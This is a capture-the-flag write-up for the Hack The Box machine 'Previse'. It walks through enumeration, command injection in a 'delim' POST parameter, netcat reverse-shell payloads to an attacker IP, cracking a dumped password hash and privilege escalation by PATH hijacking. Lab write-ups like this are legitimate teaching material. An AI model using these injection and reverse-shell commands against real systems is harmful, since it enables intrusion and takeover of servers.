4 minutes
HTB Previse - Writeup
Enumeration
Let’s kick off with some initial enumeration. We will run nmap scans to see what ports are open and what services are running on the open ports.
Initial Enumeration
Nmap Scans
Initial:
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Service Scan:
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration: Port 80
Now we know that port 80 is open, let’s fuzz to find if there any hidden directories or files.
Ffuf
common.txt
[Status: 200, Size: 2224, Words: 486, Lines: 54]
config.php [Status: 200, Size: 0, Words: 1, Lines: 1]
css [Status: 200, Size: 939, Words: 61, Lines: 17]
accounts.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
download.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
favicon.ico [Status: 200, Size: 15400, Words: 15, Lines: 10]
footer.php [Status: 200, Size: 217, Words: 10, Lines: 6]
files.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
header.php [Status: 200, Size: 980, Words: 183, Lines: 21]
index.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
index.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
js [Status: 200, Size: 1155, Words: 77, Lines: 18]
login.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
logs.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
logout.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
nav.php [Status: 200, Size: 1248, Words: 462, Lines: 32]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10]
status.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
medium.txt
$ ffuf -u http://10.10.11.104/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -c -ic -of html -o http-medium.html
css [Status: 200, Size: 939, Words: 61, Lines: 17]
js [Status: 200, Size: 1155, Words: 77, Lines: 18]
[Status: 200, Size: 2224, Words: 486, Lines: 54]
[Status: 200, Size: 2224, Words: 486, Lines: 54]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10]
SQL injections
/login.php
- None of the sql injections worked.
sqlmap
also did not work- Request:
POST /login.php HTTP/1.1 Host: 10.10.11.104 Content-Length: 27 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://10.10.11.104 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-GPC: 1 Referer: http://10.10.11.104/login.php Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: PHPSESSID=4natd10ok9pjvsrsuhr4ql0ktq Connection: close username='+OR+1=1;--&password='+OR+1=1;--
Initial Foothold
/accounts.php
Request of accounts.php
is redirected to -> login.php
But when intercepted with Burp, we have interesting results
If we send a post request, we can create a new user
Sending the POST request
Request:
Response:
So now we have a user with username and password as fakebatman:fakebatman
Getting user shell
The logs file executes a python script and appends a delimiter that is parsed through a POST parameter
logs.php
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
So when we send the delim=;ping 10.10.14.33 -c 5
and we run tcpdump
to check if we are actually receiving any pings, we get ping hits.
Appending the command:
And we get the ping hits:
$ sudo tcpdump -i tun0 icmp
Getting a reverse shell (www-data)
Start a reverse shell
$ nc -nlvp 4444
Send the request
delim=;nc+10.10.14.33+4444+-e+/bin/sh
And we get a reverse shell
MySQL recon
$ mysql -u root -p
mysql> SELECT * FROM accounts;
SELECT * FROM accounts;
+----+---------------+------------------------------------+---------------------+
| id | username | password | created_at |
+----+---------------+------------------------------------+---------------------+
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
Saving the hash into a file m4lwhere.hash
and cracking the hash using hashcat
hashcat -m 500 -a 0 m4lwhere.hash /usr/share/wordlists/rockyou.txt
The cracked password
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!
Logging in using these creds
and hoping for a password reuse
$ ssh m4lwhere@10.10.11.104
and ilovecody112235!
as password we get a SSH shell
Post Exploit Enumeration
sudo -l
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
Absolute paths for gzip
and date
is not mentioned.
Creating a new file
Going to /tmp
directory and creating a date
file with contents
date
nc 10.10.14.33 9001 -e /bin/bash
And then we add tmp/
directory to the path
$ export PATH=tmp:/$PATH
Now we run our script
$ sudo /opt/scripts/access_backup.sh
And we get a shell on our reverse tcp listener